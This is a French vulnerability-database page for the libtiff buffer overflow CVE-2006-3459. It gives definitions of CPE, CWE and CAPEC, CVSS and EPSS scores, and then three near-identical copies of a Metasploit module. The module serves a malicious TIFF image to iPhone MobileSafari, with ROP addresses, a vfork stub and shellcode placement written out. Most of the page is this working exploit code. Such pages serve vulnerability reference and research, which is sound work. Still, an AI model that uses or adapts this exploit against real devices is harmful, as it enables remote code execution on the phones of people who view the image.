CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple stack-based buffer overflows in the TIFF library (libtiff) before 3.8.2, as used in Adobe Reader 9.3.0 and other products, allow context-dependent attackers to execute arbitrary code or cause a denial of service via unspecified vectors, including a large tdir_count value in the TIFFFetchShortPair function in tif_dirread.c.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
56.71%
–
–
2022-02-13
–
–
56.71%
–
–
2023-03-12
–
–
–
8.74%
–
2023-03-26
–
–
–
11.86%
–
2023-04-30
–
–
–
9.5%
–
2023-06-11
–
–
–
13.21%
–
2023-08-27
–
–
–
17.57%
–
2023-10-15
–
–
–
17.57%
–
2023-11-12
–
–
–
17.35%
–
2024-02-18
–
–
–
14.14%
–
2024-06-02
–
–
–
14.14%
–
2024-06-23
–
–
–
18.14%
–
2024-11-24
–
–
–
27.61%
–
2024-12-22
–
–
–
37.25%
–
2025-01-19
–
–
–
37.25%
–
2025-03-18
–
–
–
–
71.49%
2025-03-30
–
–
–
–
70.72%
2025-03-30
–
–
–
–
70.72,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-09-19 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
# Multi-threaded applications are not allowed to execve() on OS X
# This stub injects a vfork/exit in front of the payload
'Prepend' =>
[
0xe3a0c042, # vfork
0xef000080, # sc
0xe3500000, # cmp r0, #0
0x1a000001, # bne
0xe3a0c001, # exit(0)
0xef000080 # sc
].pack("V*")
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Date de publication : 2010-09-19 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => ""
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Date de publication : 2012-10-08 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: safari_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 15950 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
# Multi-threaded applications are not allowed to execve() on OS X
# This stub injects a vfork/exit in front of the payload
'Prepend' =>
[
0xe3a0c042, # vfork
0xef000080, # sc
0xe3500000, # cmp r0, #0
0x1a000001, # bne
0xe3a0c001, # exit(0)
0xef000080 # sc
].pack("V*")
},
'Arch' => ARCH_ARMLE,
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending exploit")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end